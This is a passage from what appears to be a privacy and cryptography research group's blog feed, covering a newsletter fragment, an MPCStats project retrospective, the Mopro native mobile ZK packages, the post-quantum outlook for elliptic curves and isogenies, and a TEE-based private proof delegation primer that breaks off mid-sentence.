adoption. Work continues on performance, boolean IO support, and integrations with the Ethereum Tour. ## [Mopro](https://pse.dev/en/projects/mopro) Mopro continues to be the connective tissue for zkID and identity work across platforms. The team rolled out cross-platform SDKs, integrated ZKEmail Noir circuits, and supported design for architecture diagrams and events. Collaborations are deepening with the EZKL and Anon Aadhaar teams. ## [Semaphore](https://pse.dev/en/projects/semaphore) Semaphore now runs in native Rust, enabling better mobile and embedded support. We're also exploring scaling Semaphore to millions of users via private information retrieval (PIR). RLN v3 is out with support for EdDSA and LeanIMT. [Live benchmarks](https://rln-benchmarks.vercel.app/) show significant performance gains — see our comparative analysis [here](https://www.notion.so/1ced57e8dd7e809fae70dce3a4061118?pvs=21). ]]> newsletter post quantum cryptography private proof delegation client side proving machina io voprf tlsnotary maci zk-kit mpc framework mopro semaphore <![CDATA[MPCStats Retrospective: Lessons from a Privacy-Preserving Stats Platform]]> https://pse.dev/blog/mpc-retrospective https://pse.dev/blog/mpc-retrospective Fri, 23 May 2025 00:00:00 GMT <![CDATA[A retrospective on the MPCStats project—exploring our goals, technical challenges, demo at Devcon 2024, and the decision to sunset the platform.]]> <![CDATA[ ### History of the project The MPCStats project (formerly ZKStats) began in September 2023 with the goal of building a web platform where anyone could share data and query statistical computations while preserving privacy. The original vision was to create a generic, open data pool that aggregates inputs from different sources, enabling arbitrary statistical computations over private data. We initially built a stats library using EZKL to support ZK proofs for one data provider scenario. However, as the limitations of ZK in multiple data providers scenarios became clear, we shifted focus toward MPC and adopted MP-SPDZ, which supports a wide range of MPC protocols and allowed us to benchmark performance. Rather than building the full-fledged platform we originally planned, we decided to narrow the scope and deliver a demo based on a specific use case. This allowed us to ship faster, gather early feedback, and provide a tangible example for others to build on. We showcased our demo at Devcon 2024, where participants contributed their ETH balance on Binance and queried statistical results. We got valuable feedback after the demo, and we recognized that identifying impactful, real-world use cases would be key to making our work meaningful. We began planning user interviews to validate promising application ideas and to implement them based on the findings. ![mpcstats-demo](/articles/mpcstats-retrospective/mpcstats-demo.webp) ### What was achieved - Successfully delivered an [interactive demo at Devcon 2024](https://www.youtube.com/watch?v=wCp7Zsjou7w), where participants submitted their ETH balance from Binance and queried aggregated statistics like the Gini coefficient, mean, median, and max. - Computations were performed using MPC, with data authenticity verified by [TLSNotary](https://tlsnotary.org/) and execution delegated to three servers for smoother UX. - The system completed most computations within 1 minute and was secure against up to 1 out of 3 malicious parties. Full details are available in our [demo report](https://www.notion.so/3055bb69afd24d60bf8ee8d4fa5f774c?pvs=21). - The same demo was also presented at **Taipei Blockchain Week**, with a total of 19 participants across both events. - Developed a reusable [infrastructure for MPC demos](https://github.com/MPCStats/mpc-demo-infra), allowing other teams to adapt for different data sources and statistical functions, using the statistics library we built with [MP-SPDZ](https://github.com/data61/MP-SPDZ). - Built an earlier [ZK-based version of the statistics library](https://github.com/MPCStats/zk-stats-lib) using [EZKL](https://github.com/zkonduit/ezkl), enabling single-party computations and helping explore privacy-preserving techniques beyond MPC. ### Challenges & learnings **Technical** We made the system more user-friendly by delegating computation to several trusted servers. Since users did not participate in MPC directly and the three servers handled computation among themselves, data providers and consumers had to trust that at least two servers acted honestly (honest-majority) to ensure data privacy and computation correctness. We considered switching to dishonest-majority MPC protocols to enhance security, but found that doing so introduced networking overhead and longer execution time. From user feedback, we learned that most participants were not overly concerned about this trust assumption, as long as the servers were operated by entities they deemed trustworthy. However, one downside of this approach is that if the servers ever collude, the data leakage would be undetectable to the users. For data authenticity, integrating TLSNotary with MP-SPDZ enabled us to support authenticated MPC inputs through real-world data sources. **Organizational** In retrospect, we realized that user research should have been conducted earlier in the process. Waiting until after the demo to validate needs made it harder to prioritize direction and gain confidence in the problem we were solving. We should also have started with smaller PoCs and lightweight demos to explore use cases quickly before committing to more substantial development efforts. This would have helped us stay more agile and reduced the cost of pivoting as new insights emerged. **Adoption** From the demo experience, one of the most common pieces of feedback was: “Who would use this?” The use case we demonstrated, while technically functional, was not compelling or necessary enough to spark strong interest or contributions. Also, we learned that the choice of data source matters. Using Binance data made the demo feel too financially sensitive, and many attendees were hesitant to generate API keys or run scripts due to concerns about security or potential losses. On the UX side, our CLI-based interface made it harder for users to try the demo. A web-based interface was in the plan, but we weren’t able to ship it before the project concluded. ### Sunsetting We believe the most meaningful outcome of this project would have been to bring privacy-preserving and authenticated data inputs into real-world use cases. However, despite validating the technical feasibility through our demo, we struggled to identify a concrete, high-impact use case where this capability would be urgently needed and realistically adopted. Without a strong application or user demand, we felt it was no longer justifiable to continue development. Given all the above, the period following the Devcon demo felt like a natural and appropriate stopping point for the project. ### Future The MPCStats team explored technologies for conducting statistical analysis while preserving privacy and result correctness, and showcased a demo at Devcon 2024. We've built the following tools: - [MPCStats Demo infrastructure](https://github.com/MPCStats/mpc-demo-infra): the infrastructure we built for the Devcon demo. It can be adapted to other use cases. - [ZKStats library implemented with EZKL](https://github.com/MPCStats/zk-stats-lib) And write-ups: - [MPCStats Demo Infrastructure Docs](https://mpcstats.github.io/docs/): A full guide on how to deploy, and the technical details behind the system. - [Devcon Demo Report](https://www.notion.so/3055bb69afd24d60bf8ee8d4fa5f774c?pvs=21) We hope these components can serve as a reference or starting point for teams exploring privacy-preserving statistics, MPC applications, and input authentication using TLSNotary. No active maintenance will be guaranteed going forward. However, the code and write-ups will remain publicly accessible for anyone who finds them useful. ]]> MPC privacy data analysis Devcon TLSNotary <![CDATA[Integrating Mopro Native Packages Across Mobile Platforms]]> https://pse.dev/blog/mopro-native-packages https://pse.dev/blog/mopro-native-packages Thu, 22 May 2025 00:00:00 GMT <![CDATA[Mopro now ships pre-built native packages for Swift (iOS), Kotlin (Android), Flutter, and React Native. Just one import and one build. Proving made simple!]]> <![CDATA[ ## Announcing Mopro Native Packages We're excited to launch Mopro native packages, enabling developers to effortlessly generate and verify zero-knowledge proofs (ZKPs) directly on mobile devices. These native packages leverage Rust's performance and seamlessly integrate with popular mobile frameworks. Built using the Mopro CLI, they're available for direct import via each platform's package manager. You can also easily create your own customized native packages by following [zkmopro-docs](https://zkmopro.org/docs/getting-started). | Framework | Package Manager | Default Packages | zkEmail Packages via Mopro | | -------------------- | --------------------------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | | **Swift (iOS)** | Xcode / SwiftPM / CocoaPods | [mopro-swift-package](https://github.com/zkmopro/mopro-swift-package) | [zkemail-swift-package](https://github.com/zkmopro/zkemail-swift-package) | | **Kotlin (Android)** | JitPack | [mopro-kotlin-package](https://github.com/zkmopro/mopro-kotlin-package) | [zkemail-kotlin-package](https://github.com/zkmopro/zkemail-kotlin-package) | | **Flutter** | pub.dev | [mopro_flutter_package](https://github.com/zkmopro/mopro_flutter_package) | [zkemail_flutter_package](https://github.com/zkmopro/zkemail_flutter_package) | | **React Native** | npm / yarn | [mopro-react-native-package](https://github.com/zkmopro/mopro-react-native-package) | [zkemail-react-native-package](https://github.com/zkmopro/zkemail-react-native-package) | This blog provides a quick guide on integrating these packages into your projects, outlines how we built them (so you can customize your own), addresses challenges we overcame, and highlights future developments. Let's get started! ## Import, Build, Prove - That's It Mopro's native packages simplify the integration process dramatically. Unlike the traditional approach that requires crafting APIs, generating bindings, and manually building app templates, these pre-built packages allow developers to import them directly via package managers and immediately begin developing application logic. For ZK projects, converting your Rust-based solutions into mobile-native packages is straightforward with Mopro. Our guide on ["How to Build the Package"](https://github.com/zkmopro/mopro-swift-package?tab=readme-ov-file#how-to-build-the-package) explains the process clearly. For instance, our zkEmail native packages were created by first [defining ZK proving and verification APIs in Rust](https://github.com/zkmopro/mopro-zkemail-nr/blob/main/src/lib.rs), generating bindings with `mopro build`, and embedding these into native packages. The circuit is the header-only proof from [zkemail.nr_header_demo](https://github.com/Mach-34/zkemail.nr_header_demo). Here's how zkEmail performs on Apple M3 chips: | zkEmail Operation | iOS, Time (ms) | Android, Time (ms) | | ----------------- | -------------- | ------------------ | | Proof Generation | 1,309 | 3,826 | | Verification | 962 | 2,857 |

iOS zkEmail App Example
iOS
Android zkEmail App Example
Android

Flutter App for iOS & Android zkEmail Example

Notice that, with Mopro and the use of [Noir-rs](https://github.com/zkmopro/noir-rs), we port zkEmail into native packages while keeping the proof size align with Noir's Barretenberg backend CLI. It transfers the API logic directly to mobile platforms with no extra work or glue code needed! ### How it worked before Mopro Previously, integrating ZKPs into mobile applications involved more manual work and platform-specific implementations. For example, developers might have used solutions like: - **Swoir:** [Swoir](https://github.com/Swoir/Swoir/tree/main) - **noir-android:** [noir_android](https://github.com/madztheo/noir_android/tree/main) These approaches often required developers to handle bridging code and manage dependencies separately for each platform, unlike the streamlined process Mopro now offers. With Mopro, developers can leverage pre-built native packages and import them directly via package managers. This, combined with automated binding generation, significantly reduces the need for manual API crafting and platform-specific glue code. While developers still write their application logic using platform-specific languages, Mopro simplifies the integration of core ZK functionalities, especially when leveraging Rust's extensive cryptography ecosystem. ## Under The Hood Developing native packages involved tackling several technical challenges to ensure smooth and efficient operation across different platforms. This section dives into two key challenges we addressed: 1. Optimizing static library sizes for iOS to manage package distribution and download speeds. 2. Ensuring compatibility with Android's release mode to prevent runtime errors due to code shrinking. ### Optimizing Static Library Sizes for iOS #### Why Static Linking? UniFFI exports Swift bindings as a static archive (`libmopro_bindings.a`). Static linking ensures all Rust symbols are available at link-time, simplifying Xcode integration. However, it bundles all Rust dependencies (Barretenberg Backend, rayon, big-integer math), resulting in larger archive sizes. #### Baseline Size The full build creates an archive around **≈ 153 MB** in size. When uploading files over 100 MB to GitHub, Git LFS takes over by replacing the file with a text pointer in the repository while storing the actual content on a remote server like GitHub.com. This setup can cause issues for package managers that try to fetch the package directly from a GitHub URL for a release publish. While uploading large files may be acceptable for some package management platforms or remote servers like Cloudflare R2, the large file size slows down: - CocoaPods or SwiftPM downloads - CI cache recovery - Cloning the repository, especially on slower connections #### Our Solution: Zip & Unzip Strategy To keep development fast and responsive, we compress the entire `MoproBindings.xcframework` before uploading it to GitHub and publishing it to CocoaPods, reducing its size to about **≈ 41 MB**. We also found that by customizing `script_phase` in the `.podspec` (check our implementation in [`ZKEmailSwift.podspec`](https://github.com/zkmopro/zkemail-swift-package/blob/b5c3a94f8580b0332ced2c8409a1017530a56e38/ZKEmailSwift.podspec#L93-L103)), we can unzip the bindings during pod install. This gives us the best of both worlds: (1) smaller packages for distribution and (2) full compatibility with Xcode linking. The added CPU cost is minor compared to the time saved on downloads. #### Comparison With Android On Android, dynamic `.so` libraries (around 22 MB in total) are used, with symbols loaded lazily at runtime to keep the package size small. In contrast, because iOS's constraint on third-party Rust dynamic libraries in App Store builds, static linking with compression is currently the most viable option, to the best of our knowledge. ### Ensuring Android Release Mode Compatibility Another challenge we tackled was ensuring compatibility with Android's release mode. By default, Android's release build process applies [code shrinking and obfuscation](https://developer.android.com/build/shrink-code) to optimize app size. While beneficial for optimization, this process caused a `java.lang.UnsatisfiedLinkError` for Mopro apps. The root cause was that code shrinking interfered with [JNA (Java Native Access)](https://mozilla.github.io/uniffi-rs/latest/kotlin/gradle.html#jna-dependency), a crucial dependency for UniFFI, which we use for Rust-to-Kotlin bindings. The shrinking process was removing or altering parts of JNA that were necessary for the bindings to function correctly, leading to the `UnsatisfiedLinkError` when the app tried to call the native Rust code. #### The Fix: Adjusting Gradle Build Configurations Our solution, as detailed in [GitHub Issue #416](https://github.com/zkmopro/mopro/issues/416), involves a configuration adjustment in the consuming application's `android/build.gradle.kts` file (or `android/app/build.gradle` for older Android projects). Developers using Mopro need to explicitly disable code and resource shrinking for their release builds: ```kotlin android { // ... buildTypes { getByName("release") { // Disables code shrinking, obfuscation, and optimization for // your project's release build type. minifyEnabled = false // Disables resource shrinking, which is performed by the // Android Gradle plugin. shrinkResources = false } } } ``` #### Impact and Future Considerations This configuration ensures that JNA and, consequently, the UniFFI bindings remain intact, allowing Mopro-powered Android apps to build and run successfully in release mode. This approach aligns with recommendations found in the official Flutter documentation for handling [similar issues](https://docs.flutter.dev/deployment/android#shrink-your-code-with-r8). While this increases the final app size slightly, it guarantees the stability and functionality of the native ZK operations. We are also actively exploring ways to refine this in the future to allow for optimized builds without compromising JNA's functionality. ## The Road Ahead ### a. Manual Tweaks for Cross-Platform Frameworks Cross-platform frameworks like React Native and Flutter require additional glue code to define modules, as they straddle multiple runtimes. Each layer needs its own integration. For example, in our [zkEmail React Native package](https://github.com/zkmopro/zkemail-react-native-package), we use three separate wrappers. - \[TypeScript\] [`MoproReactNativePackageModule.ts`](https://github.com/zkmopro/zkemail-react-native-package/blob/main/src/MoproReactNativePackageModule.ts): declares the public API and lets the React Native code-gen load the native module. - \[Swift\] [`MoproReactNativePackageModule.swift`](https://github.com/zkmopro/zkemail-react-native-package/blob/main/ios/MoproReactNativePackageModule.swift): loads bindings into Objective-C–discoverable classes. - \[Kotlin\] [`MoproReactNativePackageModule.kt`](https://github.com/zkmopro/zkemail-react-native-package/blob/main/android/src/main/java/expo/modules/moproreactnativepackage/MoproReactNativePackageModule.kt): loads bindings and bridges via JNI. Similarly, for our [zkEmail Flutter package](https://github.com/zkmopro/zkemail_flutter_package), a comparable set of wrappers is employed: - \[Dart\] [`zkemail_flutter_package.dart`](https://github.com/zkmopro/zkemail_flutter_package/blob/main/lib/zkemail_flutter_package.dart): defines the public Dart API for the Flutter plugin, invoking methods on the native side via platform channels. - \[Swift\] [`ZkemailFlutterPackagePlugin.swift`](https://github.com/zkmopro/zkemail_flutter_package/blob/main/ios/Classes/ZkemailFlutterPackagePlugin.swift): calls the underlying Rust-generated Swift bindings. - \[Kotlin\] [`ZkemailFlutterPackagePlugin.kt`](https://github.com/zkmopro/zkemail_flutter_package/blob/main/android/src/main/kotlin/com/zkmopro/zkemail_flutter_package/ZkemailFlutterPackagePlugin.kt): bridges Dart calls to the Rust-generated Kotlin bindings. ### b. Support for Custom Package Names Initially, we encountered naming conflicts when the same XCFramework was used in multiple Xcode projects. Addressing this to allow fully customizable package names is an ongoing effort. Initial progress was made with updates in [issue#387](https://github.com/zkmopro/mopro/issues/387) and a partial fix in [PR#404](https://github.com/zkmopro/mopro/pull/404). Further work to complete this feature is being tracked in [issue#413](https://github.com/zkmopro/mopro/issues/413). ## What's Next: Shaping Mopro's Future Together Currently, the Mopro CLI helps you create app templates via the `mopro create` command, once bindings are generated with `mopro build`. Our vision is to enhance this by enabling the automatic generation of fully customized native packages. This would include managing all necessary glue code for cross-platform frameworks, potentially through a new command (maybe like `mopro pack`) or by extending existing commands. We believe this will significantly streamline the developer workflow. If you're interested in shaping this feature, we invite you to check out the discussion and contribute your ideas in [issue #419](https://github.com/zkmopro/mopro/issues/419). By achieving this, we aim to unlock seamless mobile proving capabilities, simplifying adoption for developers leveraging existing ZK solutions or porting Rust-based ZK projects. Your contributions can help us make mobile ZK development more accessible for everyone! If you find it interesting, feel free to reach out to the Mopro team on Telegram: [@zkmopro](https://t.me/zkmopro), or better yet, dive into the codebase and open a PR! We're excited to see what the community builds with Mopro. Happy proving! ' ]]>
<![CDATA[Are elliptic curves going to survive the quantum apocalypse?]]> https://pse.dev/blog/are-elliptic-curves-going-to-survive-the-quantum-apocalypse https://pse.dev/blog/are-elliptic-curves-going-to-survive-the-quantum-apocalypse Tue, 20 May 2025 00:00:00 GMT <![CDATA[Quantum computers will shatter today’s elliptic-curve schemes (and the pairing magic built on them), but curves aren’t dead: isogeny-based constructions could keep elliptic-style crypto alive and even pave the way for stronger multilinear tools in a post-quantum world.]]> <![CDATA[ Elliptic curves offer unmatched cryptographic power, especially with [pairings](https://en.wikipedia.org/wiki/Pairing-based_cryptography) that enable advanced protocols like identity-based encryption and short signatures. But quantum computers threaten this entire ecosystem by breaking the discrete logarithm problem—on which these schemes depend. However, elliptic curves might retain their place in cryptography after all—through entirely different assumptions. ## A happy coincidence: the magic of pairings on elliptic curves Elliptic curves are wonderful—no other area of mathematics combines cryptographic versatility with computational efficiency so effectively. Just think of pairings—you can do all kinds of things with pairings. You can construct identity-based encryption, build short signatures, enable non-interactive zero-knowledge proofs, or design functional encryption schemes. It's a beautiful intersection of theory and practice, where abstract concepts translate directly into cutting-edge protocols. The fact that pairings can be defined on elliptic curves—which were already a highly attractive setting for cryptography even before pairings came into use—is, as one of the pioneers of pairing-based cryptography, Ben Lynn, [put it](https://static1.squarespace.com/static/5fdbb09f31d71c1227082339/t/5ff394720493bd28278889c6/1609798774687/PairingsForBeginners.pdf), a “happy coincidence”. Pairings are special bilinear maps defined on groups derived from elliptic curves or higher-dimensional abelian varieties. A typical pairing has the form: $$ e: G_1 \times G_2 \to G_T $$ where $G_1$, $G_2$, and $G_T$ are groups of the same prime order $p$. There’s one crucial property of pairings, called bilinearity: $$ e(aP, bQ) = e(P, Q)^{ab}. $$ Pairings allow one to perform certain operations on hidden exponents without solving the discrete logarithm. Suppose you have: $$ A = aP \in G_1 $$ $$ B = bQ \in G_2 $$ You cannot recover $a$ or $b$ ([discrete logatihm](https://en.wikipedia.org/wiki/Discrete_logarithm) is hard), but using a bilinear pairing, you can compute: $$ e(A, B) = e(aP, bQ) = e(P, Q)^{ab} $$ This means that although $a$ and $b$ are hidden, you can compute something that depends on their product—without knowing either value individually. ## Will quantum computers kill the magic of elliptic curves? So, is all this magic set to _die_ with the advent of quantum computers? Given two points $P$ and $R$ on an elliptic curve, a quantum computer can efficiently compute an integer $\ell$ such that $\ell P = R$, if such an $\ell$ exists. This task—known as the discrete logarithm problem—is believed to be hard for classical computers, and the security of virtually all elliptic curve cryptography depends on that hardness. But with a sufficiently powerful quantum computer, this problem becomes efficiently solvable using [Shor’s algorithm](https://en.wikipedia.org/wiki/Shor%27s_algorithm). And that means most of the elegant constructions enabled by elliptic curves would no longer be secure. Will pairings be lost as well? Unfortunately, yes. Pairing-based cryptography relies on the discrete logarithm problem being hard (in all three groups: $G_1$, $G_2$, and $G_T$). So yes, my friend. _You should be sad that elliptic curve cryptography is going to be buried._ ## Unless... However, there’s a branch of elliptic curve cryptography that might just survive the apocalypse. Isogeny-based cryptography is a post-quantum alternative that still relies on elliptic curves—but in a very different way. Instead of depending on the hardness of the discrete logarithm problem, it leverages the difficulty of finding isogenies: special maps between elliptic curves. ![genus-1](https://hackmd.io/_uploads/S1Chdpybee.png) This means that, given two elliptic curves, computing an explicit isogeny between them is believed to be computationally hard—even for a quantum computer. Yeah, you might mention [Castryck-Decru attack](https://eprint.iacr.org/2022/975), but as I wrote [last time](https://pse.dev/en/blog/code-optimizations-in-the-landscape-of-post-quantum-cryptography), this applies only to certain special isogeny-based schemes. In fact, this attack has opened up many constructive possibilities. The techniques developed in the attack have been leveraged to construct new schemes. This situation mirrors the early history of pairing-based cryptography. Initially, pairings were used as part of an attack against traditional Diffie–Hellman key exchange schemes, but over time, they have become a cornerstone of many constructive cryptographic protocols, such as identity-based encryption and short signatures. The attack triggered a major shift toward higher-dimensional constructions in this area of cryptography. Elliptic curves are simply one-dimensional abelian varieties—that is, genus 1. Moving to higher dimensions means working with more general abelian varieties, such as those of genus 2 or 3, which possess richer algebraic structure. ![genus-2](https://hackmd.io/_uploads/rJPP_TJ-eg.png) But besides the shift to higher dimensions, the field experienced another major transformation—this time toward the theta model. A theta model is an alternative coordinate system for describing abelian varieties. Over the complex numbers, every (principally polarized) abelian variety of dimension $g$ can be analytically represented as a complex torus $\mathbb{C}^g / \Lambda$, where $\Lambda$ is a rank-$2g$ lattice. Associated to this lattice are special transcendental functions called theta functions, which capture the geometry of the variety. Instead of working with explicit algebraic equations for curves, one can describe the variety using theta constants—the evaluations of theta functions at specific points—which serve as coordinates in the theta model. ![theta](https://hackmd.io/_uploads/BkjRopJ-le.png) Yeah, this sounds awfully abstract. Essentially, it means we’re trading the familiar equation of an elliptic curve—like $y^2 = x^3 + ax + b$—for a more mysterious object: a theta function, as shown in the picture. The funny thing is, this abstract creature actually allows for [simple and compact formulas](https://eprint.iacr.org/2023/1747.pdf) when it comes to computing isogenies. To evaluate the image of a point under the isogeny—that is, to determine where a given point is mapped—one simply performs three basic operations: squaring, a Hadamard transformation (a linear transformation), and scaling: ![formula](https://hackmd.io/_uploads/ByroJC1-gx.png) The theta model significantly accelerates isogeny-based cryptography in higher dimensions. But what’s even more intriguing is the possibility that abelian varieties—and the theta machinery—could one day enable [trilinear maps](https://hal.science/tel-03498268/document). And you know, trilinear maps are bilinear maps on steroids. A trilinear map is a function $$ e : G_1 \times G_2 \times G_3 \to G_T $$ where all groups have the same prime order $p$, satisfying the following property: $$ e(aP, bQ, cR) = e(P, Q, R)^{abc} $$ Trilinear maps are strictly more powerful than bilinear maps because they generalize the same core idea—exponent multiplication—across an additional dimension. That opens the door to even richer and more expressive cryptographic constructions. ## Conclusion While abelian varieties offer a tantalizing prospect for realizing trilinear maps, the truth is—we’re not there yet. No known construction of trilinear maps is practical today, whether based on abelian varieties or any other mathematical structure. Still, the outlook is far from bleak. Abelian varieties, and the isogeny-based cryptography they enable, present a promising foundation for quantum-resistant cryptographic protocols. They carry forward the essential magic of elliptic curves—not merely as a relic of the past, but as a richer, higher-dimensional generalization. ]]> <![CDATA[TEE based private proof delegation]]> https://pse.dev/blog/tee-based-ppd https://pse.dev/blog/tee-based-ppd Tue, 20 May 2025 00:00:00 GMT <![CDATA[Intro to trusted execution environment based private proof delegation]]> <![CDATA[ ## tl;dr We built a TEE-based system for secure zero-knowledge proof delegation using Intel TDX. It allows clients to privately outsource large proving tasks without leaking inputs. Unlike mobile-native proving, which is constrained by hardware limits, TEE-based proving can scale to larger statements today — and continue to scale as proof systems improve. As a hardware-backed solution, TEE remains compatible with future advancements in software (e.g., faster proof systems, better engineering) and won't be invalidated by them, as long as the trust model is acceptable. ➡️ [Jump to Benchmarking section](#Benchmarking) to see how it performs in practice. # Introduction ## Background and motivation Typically, zk applications let consumer devices such as mobile phones or web browsers generate SNARK proofs. In such cases, the secret inputs from the clients never leave the device; therefore, the privacy of the inputs is protected. However, the complexity of the statements that weak hardware can prove is fairly limited. This means that proving more complex statements requires stronger hardware—something most users do not have access to in their daily lives. One approach to address this issue is to **delegate the proof generation** to external servers with powerful hardware. This technique is called proof delegation. By using this technique, clients with weak devices can offload heavy computation to an external server and still obtain proof about their private data. ![Proof delegation image](/articles/tee-based-ppd/proof-delegation.webp) _How naive proof delegation works_ In naive proof delegation, the client sends their raw inputs directly to the proving server, which then generates the proof. This approach works well for non-sensitive computations (e.g., public blockchain state transitions), but it fails to preserve the zero-knowledge property when the inputs are private. The server learns the data as is, so there is no privacy guarantee. ## Private proof delegation (PPD) **Private proof delegation** (PPD) enhances this model by ensuring the private input remains hidden from the server. This is achieved by introducing a cryptographic layer between the client and the proving server. Instead of sending raw data, the client encrypts the private input before transmission. ![Private proof delegation image](/articles/tee-based-ppd/private-proof-delegation.webp) _Private proof delegation_ The cryptographic techniques that we can possibly use include - **MPC ([Collaborative zkSNARKs](https://eprint.iacr.org/2021/1530))** utilizes secret-sharing-based MPC to hide the raw private inputs by splitting them into pieces. - **FHE**-based approach encrypts the private inputs and computes directly on ciphertext. Example: [Blind zkSNARKs](https://eprint.iacr.org/2024/1684) and [FHE-SNARK](https://eprint.iacr.org/2025/302) - **TEE**-based approach (this work) utilize hardware-isolated environments to protect data. In this article, we focus on the TEE-based approach, which we believe is practical and well-supported in today's cloud environments. # TEE Primer: What and Why ## What is Trusted Execution Environment (TEE)? A **Trusted Execution Environment (TEE)** is a **secure and isolated processing environment** that runs alongside the main operating system on a machine. It provides: - **Confidentiality** ensures that data inside the TEE cannot be read by any external software, including the operating system or hypervisor. - **Integrity** ensures that the code and data inside the TEE cannot be tampered with from outside. - **Attestation** allows remote parties to verify that the TEE is running trusted code before sending sensitive data to it. TEEs are critically important for scenarios where sensitive data or computations must be processed on potentially **untrusted infrastructure**. Without a TEE, users would have to fully trust the operator of a server — an assumption often unacceptable in privacy-critical applications like private proof delegation. Different TEE implementations exist today, such as [Intel SGX](https://www.intel.com/content/www/us/en/products/docs/accelerator-engines/software-guard-extensions.html), [ARM TrustZone](https://www.arm.com/technologies/trustzone-for-cortex-a), [AMD SEV](https://www.amd.com/en/developer/sev.html), and [Intel TDX](https://www.intel.com/content/www/us/en/developer/tools/trust-domain-extensions/overview.html). Each offers varying degrees of isolation, threat models, and usability. ## Key components There are several key components of TEE: - Hardware isolation - Memory encryption - Remote attestation - Root of Trust We will take a closer look into each of the items. ### Hardware isolation At the heart of any Trusted Execution Environment (TEE) is the concept of hardware-enforced isolation. Hardware isolation refers to the physical and logical mechanisms built directly into the CPU and platform architecture that create a boundary between the execution environment inside the TEE and the rest of the system (Rich Execution Environment, REE)—including the operating system, hypervisor, firmware, and other software running outside the TEE. Rather than relying on software controls (which can be bypassed by privileged attackers), hardware isolation ensures that: - Memory regions associated with the TEE are inaccessible to any external software, regardless of privilege level. - Only code running inside the TEE itself can read or modify its protected memory and internal state. - External attempts to inspect, tamper, or interfere with the TEE are either blocked at the hardware level or immediately detectable. This isolation is enforced by mechanisms such as - Memory address translation and access control rules tightly integrated with the CPU - Dedicated secure memory regions (e.g., Enclave Page Cache in Intel SGX, Secure EPT in Intel TDX) - CPU privilege separation between "trusted" and "untrusted" execution modes ### Memory encryption While hardware isolation protects the logical boundaries of the Trusted Execution Environment (TEE), it does not by itself prevent physical attacks targeting the system’s memory. For example, if the attacker has access to the physical hardware, it is possible to dump the memory to see the data inside. Memory encryption addresses this gap by ensuring that all data stored outside the CPU boundary — particularly in RAM — remains cryptographically protected by encryption schemes against unauthorized access, even in the face of direct hardware attacks. The data stored inside the memory is always encrypted with a key secured in the chip (only TEE can access the key). For example, in Intel TDX, AES-XTS with ephemeral 128-bit memory-encryption keys (TDX) are used for encrypting the data, and the integrity of the data inside memory is guaranteed by SHA-3-based MAC so that malicious data tampering can be detected. This ensures that - Even if an attacker has physical access to the machine (e.g., cold boot attacks, bus sniffing), the data they retrieve from RAM remains unintelligible. - DMA (Direct Memory Access) attacks by peripherals cannot extract plaintext secrets from memory regions assigned to the TEE. - Side-channel leakage through unprotected memory reads/writes is minimized. ### Remote attestation Even with hardware isolation and memory encryption, a crucial question remains: **"How can a remote party trust that the TEE is running the intended code on a genuine, uncompromised platform?"** **Remote attestation** answers this question. It is the process by which a TEE proves to an external verifier that: - It is running on authentic, trusted hardware. - The code executing inside the TEE matches an expected and approved version. - The system's security configuration (e.g., secure boot, memory protections) is correctly enabled. This proof enables remote clients to establish trust before transmitting sensitive data or initiating private computations. - The booted TD image exactly as expected (secure boot). - The measurements created/extended during runtime are as expected. - The TEE is executed on a certified hardware platform. - The platform is fully up to date (TCB). If the measurements match, the verifier can trust the TEE is in a secure and expected state. Technologies like Intel TDX TD Quote, Intel SGX Attestation Service, and TPM 2.0 Quotes implement these mechanisms. ### Root of Trust At the foundation of any Trusted Execution Environment (TEE) lies the concept of a **Root of Trust** — a minimal, immutable, and trusted set of hardware, firmware, and cryptographic keys that anchors all higher-level security guarantees. Without a reliable root of trust, none of the protections offered by hardware isolation, memory encryption, or remote attestation would be meaningful. A Root of Trust is the starting point from which trust is established and extended throughout the system. It typically involves - Immutable hardware components (such as CPU microcode or a dedicated security processor) - Secure boot firmware that verifies each stage of system initialization - Cryptographic keys (e.g., device identity keys, endorsement keys) that are embedded during manufacturing and protected from software access In Intel TDX and similar TEEs, the root of trust is composed of - Intel-manufactured CPU with trusted microcode - Hardware-isolated execution of the TDX modules - Secure generation and protection of attestation keys used for producing TD Quotes Importantly, the security of the entire TEE — including attestation, isolation, and encryption — ultimately depends on the integrity and authenticity of this Root of Trust. ## What is the trust assumption of TEE? In traditional cryptography, security relies on mathematical hardness assumptions — for example, the difficulty of solving the Discrete Logarithm Problem (DLP) or the intractability of Learning With Errors (LWE). These assumptions are well-studied and allow cryptographic protocols to provide strong, quantifiable security guarantees. In contrast, when relying on a Trusted Execution Environment (TEE), security instead depends on a different class of assumptions: trust in hardware, firmware, and system integrity. Rather than assuming a computational problem is hard, we assume that certain hardware components behave correctly, securely, and without malicious interference. While TEEs dramatically reduce the size of the trusted computing base compared to trusting a full server or cloud provider, they do not eliminate trust. Instead, they restructure it — concentrating trust in a small, specialized portion of the system. In this section, we detail what specific components and entities must be trusted when building on a TEE. ### Trust in the Hardware Manufacturer A fundamental trust anchor when using a TEE is the **hardware manufacturer**. In the case of Intel TDX, this is Intel Corporation, which designs and produces the processors and microcode that enforce TDX protections. When trusting the hardware manufacturer, the following assumptions are made: - **Correct Implementation**: The manufacturer has correctly implemented the TEE architecture as specified, including hardware isolation, memory encryption, key management, and the attestation mechanism. Errors or backdoors in the hardware implementation could trivially undermine the TEE’s guarantees. - **Secure Key Provisioning**: Attestation keys (used to sign attestation quotes) are provisioned securely during the manufacturing process and cannot be extracted, replaced, or misused. - **Supply Chain Integrity**: The physical chip that arrives at the cloud datacenter is authentic and has not been tampered with or replaced during production or delivery. - **Prompt Security Response**: If vulnerabilities are discovered (e.g., speculative execution side-channels), the manufacturer acts responsibly to issue patches, microcode updates, or mitigations. **What if Broken** If the hardware manufacturer is dishonest, coerced, or negligent, the entire security model of the TEE collapses. The TEE could leak secrets, forge attestation quotes, or fail to enforce isolation — without any detectable signals to the user. This trust assumption is not cryptographic in the traditional sense; it is institutional and engineering-based. ### Trust in the Attestation Service The attestation process is what enables remote parties (such as clients) to verify the trustworthiness of a TEE before entrusting it with sensitive data. However, the correctness of attestation relies on the integrity of the attestation service infrastructure. Typically, there are two main parties involved: - **Hardware-Rooted Attestation Key Infrastructure** (e.g., [Intel’s Provisioning Certification Service (PCS)](https://sbx.api.portal.trustedservices.intel.com/provisioning-certification)) - **Remote Attestation Verification Services** (e.g., [Intel Attestation Service (IAS)](https://www.intel.com/content/www/us/en/developer/tools/software-guard-extensions/attestation-services.html) or [Microsoft Azure Attestation](https://azure.microsoft.com/en-us/products/azure-attestation)) When trusting the attestation service, the following 